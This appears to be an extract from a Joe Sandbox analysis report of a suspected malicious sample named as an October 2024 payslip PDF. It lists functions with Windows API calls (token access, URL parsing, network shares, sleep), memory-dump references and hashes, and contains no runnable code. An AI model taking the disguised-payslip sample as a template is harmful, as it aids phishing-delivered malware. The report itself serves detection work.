Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 91199ee44f7c76db925c463028db73df59509d2fbab0f31a73cb45a2ab93ccb7
Instruction ID: 0b93b4fd2c6d2eb7094f6818aa9ea1c46454603144fe950bddc5e64d6ad988ae
Opcode Fuzzy Hash: 91199ee44f7c76db925c463028db73df59509d2fbab0f31a73cb45a2ab93ccb7
Instruction Fuzzy Hash: 6BF05EB26543187BF2106761AC15FBB3A5CEF1935CF004431FA08D5392D7B2590097B8

Function 00D06E7C Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00D06E88

Part of subcall function 00D0794E: _memset.LIBCMT ref: 00D07983

_memmove.LIBCMT ref: 00D06EAB
_memset.LIBCMT ref: 00D06EB8
LeaveCriticalSection.KERNEL32(?), ref: 00D06EC8

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 15bec6ac931e368c9233c2ba8db044b516b190748b218baca5bc95afad756c7d
Instruction ID: 35f182766d42837e59718bacb1b0b517d9fc2a83e4e516ecf01c1085a65d231d
Opcode Fuzzy Hash: 15bec6ac931e368c9233c2ba8db044b516b190748b218baca5bc95afad756c7d
Instruction Fuzzy Hash: B1F0543A200200ABCF116F55EC85F89BB29EF45320B04C065FE089E25BCB31E911DFB4

Function 00D2C00C Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00CA12F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00CA134D
Part of subcall function 00CA12F3: SelectObject.GDI32(?,00000000), ref: 00CA135C
Part of subcall function 00CA12F3: BeginPath.GDI32(?), ref: 00CA1373
Part of subcall function 00CA12F3: SelectObject.GDI32(?,00000000), ref: 00CA139C

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00D2C030
LineTo.GDI32(00000000,?,?), ref: 00D2C03D
EndPath.GDI32(00000000), ref: 00D2C04D
StrokePath.GDI32(00000000), ref: 00D2C05B

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: d7220e77e9cd8c3e398080ab31a926338a9652bdb70daeb409f88efbeae27079
Instruction ID: 182dd40db85caf5abdf16091a0059d0eaeeffc3a817a44ac94c15d1e28cc3dc3
Opcode Fuzzy Hash: d7220e77e9cd8c3e398080ab31a926338a9652bdb70daeb409f88efbeae27079
Instruction Fuzzy Hash: ADF0BE31040329BBDB222F50AD0AFCE3F69AF26710F184010FA11A12E2C7B54962CBB9

Function 00CFA37C Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00CFA399
GetWindowThreadProcessId.USER32(?,00000000), ref: 00CFA3AC
GetCurrentThreadId.KERNEL32 ref: 00CFA3B3
AttachThreadInput.USER32(00000000), ref: 00CFA3BA

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: c99a8571a92eb0347326cc668248e7b37372c2c257ae1b22634c5a8b2db44324
Instruction ID: 4a0f34803477e1dd37e123ad4cd0e5acecefc14a78531d5cf782e793551584b0
Opcode Fuzzy Hash: c99a8571a92eb0347326cc668248e7b37372c2c257ae1b22634c5a8b2db44324
Instruction Fuzzy Hash: 07E01571541328BADB201BA2DD0CEE77E6CEF267A2F008434B608C4060C675D5458BB1

Function 00CA2218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00CA2231
SetTextColor.GDI32(?,000000FF), ref: 00CA223B
SetBkMode.GDI32(?,00000001), ref: 00CA2250
GetStockObject.GDI32(00000005), ref: 00CA2258
GetWindowDC.USER32(?,00000000), ref: 00CDC0D3
GetPixel.GDI32(00000000,00000000,00000000), ref: 00CDC0E0
GetPixel.GDI32(00000000,?,00000000), ref: 00CDC0F9
GetPixel.GDI32(00000000,00000000,?), ref: 00CDC112
GetPixel.GDI32(00000000,?,?), ref: 00CDC132
ReleaseDC.USER32(?,00000000), ref: 00CDC13D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: ff34c181587425cf76c14857902e58e0c52b50d00fb70be99427e7fd6ba5961d
Instruction ID: 38337cae1c06e6aee25a8347ab36262e332ee33f668f1984a50e25d6900fdbbc
Opcode Fuzzy Hash: ff34c181587425cf76c14857902e58e0c52b50d00fb70be99427e7fd6ba5961d
Instruction Fuzzy Hash: 31E03932100345EADB225F68EC4DBD83B20EB25336F048376FA79881E187714A91DB21

Function 00CF8C5A Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00CF8C63
OpenThreadToken.ADVAPI32(00000000,?,?,?,00CF882E), ref: 00CF8C6A
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00CF882E), ref: 00CF8C77
OpenProcessToken.ADVAPI32(00000000,?,?,?,00CF882E), ref: 00CF8C7E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: d09a5d297c80b64508922aa7cdc82cb0779afa1219549b1cb7f3c025202f075d
Instruction ID: 28d5d11ceecf973eed43072e6397c4beee02b6049dc134c0dee134736d73f2f8
Opcode Fuzzy Hash: d09a5d297c80b64508922aa7cdc82cb0779afa1219549b1cb7f3c025202f075d
Instruction Fuzzy Hash: 22E04F36642311DBD7705FB06E0DB563BB8AF65792F044C38A245CA040DA3484468B71

Function 00CE2187 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00CE2187
GetDC.USER32(00000000), ref: 00CE2191
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00CE21B1
ReleaseDC.USER32(?), ref: 00CE21D2

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 769f12f57cf35456e427fd8a9606f48dd8edaf08a5a87453dd787c3553e694ac
Instruction ID: 0498536894d51fa7e70352821b0322e28effd1f89c5f82946054855ecac6d5ea
Opcode Fuzzy Hash: 769f12f57cf35456e427fd8a9606f48dd8edaf08a5a87453dd787c3553e694ac
Instruction Fuzzy Hash: 40E01AB5800305EFDB219F61C908B9D7BF5EB6C351F108825F95AD7320DB388542AF50

Function 00CE219B Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00CE219B
GetDC.USER32(00000000), ref: 00CE21A5
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00CE21B1
ReleaseDC.USER32(?), ref: 00CE21D2

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: aecb7809fcc433f7af796a2ccf88b0dca10bf4460ab997a71ad8ae49d84995a9
Instruction ID: 4255d8f66a111f9435ad75092e40e136f15bc24241c9200cdf48dbb5378f08a7
Opcode Fuzzy Hash: aecb7809fcc433f7af796a2ccf88b0dca10bf4460ab997a71ad8ae49d84995a9
Instruction Fuzzy Hash: 62E01A75800305AFCB219F70C90869D7BF1EB6C311F108825F95AD7320DB3895429F50

Function 00CFB7B6 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00CFB981

Strings

AutoIt3GUI, xrefs: 00CFB8F9
Container, xrefs: 00CFB8FE

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 4d58f171746566ff7b69534a464731b2a8d8095b836b05b2414f3d0d1cbbb14b
Instruction ID: 93996b549834104bb61627e0eab1a1aa821dd9beb2857a04ae67e15fb909db70
Opcode Fuzzy Hash: 4d58f171746566ff7b69534a464731b2a8d8095b836b05b2414f3d0d1cbbb14b
Instruction Fuzzy Hash: 1D9149706006059FDB64CF68C884A7ABBF9FF48710F24856DEA49CB691DB70ED44CB61

Function 00D0B217 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBFEC6: _wcscpy.LIBCMT ref: 00CBFEE9

Part of subcall function 00CA9997: __itow.LIBCMT ref: 00CA99C2
Part of subcall function 00CA9997: __swprintf.LIBCMT ref: 00CA9A0C

__wcsnicmp.LIBCMT ref: 00D0B298
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00D0B361

Strings

LPT, xrefs: 00D0B292

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 681e9f3e01f0ab31a150152a856d1bbcf03c07e54bda0850d2891bfbf95c84db
Instruction ID: d7df9ab315876a796232bc7ade302220fad34cf0b9373216a1581aba69fd2892
Opcode Fuzzy Hash: 681e9f3e01f0ab31a150152a856d1bbcf03c07e54bda0850d2891bfbf95c84db
Instruction Fuzzy Hash: 6E616E75A04215AFCB14DF94C881FAEB7B4EF09320F15406AF94AAB291DB70AE40DB60

Function 00CB2AB7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00CB2AC8
GlobalMemoryStatusEx.KERNEL32(?), ref: 00CB2AE1

Strings

@, xrefs: 00CB2AD5

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 55b725954260cecc6f78ba83c11210a2fbdcef2b795960c54735fb9cf720d57c
Instruction ID: 70275fca910761003ac15393c06b4d4c847bc995ac8fea7374560f202f40c153
Opcode Fuzzy Hash: 55b725954260cecc6f78ba83c11210a2fbdcef2b795960c54735fb9cf720d57c
Instruction Fuzzy Hash: F95148715187459BD320AF10D886BAFBBF8FF85314F42885DF1D9811A1EB308969DB26

Function 00D099BE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00CA506B: __fread_nolock.LIBCMT ref: 00CA5089

_wcscmp.LIBCMT ref: 00D09AAE
_wcscmp.LIBCMT ref: 00D09AC1

Strings

FILE, xrefs: 00D099FA

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 60e5e8b6100d0affb7ff35331f0ffd444ab89c1952d9c4d0b0728c55bc7f4af6
Instruction ID: c8989a79f87562f348df165d2b449cbe89c7ba95d01b9add8fe7b60d6ed8d0e4
Opcode Fuzzy Hash: 60e5e8b6100d0affb7ff35331f0ffd444ab89c1952d9c4d0b0728c55bc7f4af6
Instruction Fuzzy Hash: 2D41D771A0061ABADF209EA4DC85FEFB7BDDF45714F004069F904B71C1DAB5AA049BB1

Function 00D12882 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D12892
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00D128C8

Strings

|, xrefs: 00D12899

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 82e64321423b723b24a874e09fdea5ad88dc882f4a6ff1ea17c2a411423add36
Instruction ID: be3b9696d76b311c6a89661b463c1881acc92011e6df2bb73a723a013773e8f9
Opcode Fuzzy Hash: 82e64321423b723b24a874e09fdea5ad88dc882f4a6ff1ea17c2a411423add36
Instruction Fuzzy Hash: 29313A7180021EAFCF019FA4DC85EEEBFB9FF09304F004129F814A6165DA365A56EB60

Function 00D26CD2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00D26D86
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00D26DC2

Strings

static, xrefs: 00D26D22

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 5d8f0506558ef0caf3f60c6ba443a028291f0e4a04c25204deea7e248a1c5d68
Instruction ID: 67ceb94cff18b0e7031cbf5c1a5d61b1c38eb3c48dcf33a278e54ec4e531befb
Opcode Fuzzy Hash: 5d8f0506558ef0caf3f60c6ba443a028291f0e4a04c25204deea7e248a1c5d68
Instruction Fuzzy Hash: 09318D71200218AADB109F64DC80AFB77B9FF58728F148629F9A587190DA71EC91DB70

Function 00D02D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D02E00
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00D02E3B

Strings

0, xrefs: 00D02DF9

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: ad4e51225a3a21d628d4f22ccca092900b2e6c015bdcc17ba77f09d9f0160bea
Instruction ID: d3b1f4ed82cdb78fee0cb65274d45700eb41dfa2c509b2ef82ef46871e7927d3
Opcode Fuzzy Hash: ad4e51225a3a21d628d4f22ccca092900b2e6c015bdcc17ba77f09d9f0160bea
Instruction Fuzzy Hash: F031D531A41305ABEB248F58D849BBEBBB9EF05350F18446EF989961E1D7B09940DB70

Function 00D26943 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00D269D0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00D269DB

Strings

Combobox, xrefs: 00D2699D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: ebc8eed352684b13459b4d440c0ceb08abbd16ddc54999781166c6dfe62e6ace
Instruction ID: b734adf2266e0d02e138416716d983278725cc0a6fa62e8ca77b06837b892828
Opcode Fuzzy Hash: ebc8eed352684b13459b4d440c0ceb08abbd16ddc54999781166c6dfe62e6ace
Instruction Fuzzy Hash: EF11C4717003197FEF119F24DC80EBB376AEBA93A8F150125F95897290DA71DC918BB0

Function 00D26E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00CA1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00CA1D73
Part of subcall function 00CA1D35: GetStockObject.GDI32(00000011), ref: 00CA1D87
Part of subcall function 00CA1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00CA1D91

GetWindowRect.USER32(00000000,?), ref: 00D26EE0
GetSysColor.USER32(00000012), ref: 00D26EFA

Strings

static, xrefs: 00D26EBD

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: cd8bda0a8e08b4cedc6b0119bf3505136604ba4029123e5c942dbc76271ae073
Instruction ID: a5064b7ab5ffd92aad6f26931f83bb44548ba72c3d7e0380612274feb6bbb8d4
Opcode Fuzzy Hash: cd8bda0a8e08b4cedc6b0119bf3505136604ba4029123e5c942dbc76271ae073
Instruction Fuzzy Hash: F921897261021AAFDF04DFA8DD45AEA7BB8FB18318F144A28FD55D3240D734E8619B60

Function 00D26B8F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00D26C11
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00D26C20

Strings

edit, xrefs: 00D26BF5

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: d3b81ede30f8d482fb77f7c84e7379fb0c378f7b59b32b85e78bc7840c67dea5
Instruction ID: 23fd065d01a8216f232f858394b80ade7d285152be8fd25c0dfe675274706e9c
Opcode Fuzzy Hash: d3b81ede30f8d482fb77f7c84e7379fb0c378f7b59b32b85e78bc7840c67dea5
